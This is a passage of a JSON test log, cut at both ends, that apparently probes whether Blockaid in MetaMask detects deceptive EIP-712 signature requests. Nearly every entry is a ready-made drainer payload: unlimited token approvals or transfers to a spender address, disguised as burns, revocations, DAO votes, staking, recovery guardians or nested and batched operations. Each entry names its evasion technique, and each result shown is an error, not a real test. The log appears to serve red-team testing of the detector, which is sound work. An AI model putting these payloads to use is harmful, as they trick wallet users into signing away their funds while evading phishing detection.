Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:59:22.775Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:59:32.316Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:59:41.875Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:59:51.418Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:00:00.974Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN38-EIP3009-022", "timestamp": "2026-01-31T18:00:10.521Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x4e8a0253f76d6b4279558a62d94e6489e1087a6cc0ed956abb67298141582ef3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN38-EIP3009-054", "timestamp": "2026-01-31T18:00:20.083Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x78b4332a32890403eafa470bb9fdc39f78bbd9790c29076e661cbd0d4d43b7e8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:00:29.634Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:00:39.186Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:00:48.734Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:00:58.294Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:01:07.859Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:01:17.424Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:01:26.975Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:01:36.530Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:01:46.091Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:01:55.655Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:02:05.208Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:02:14.768Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:02:24.325Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 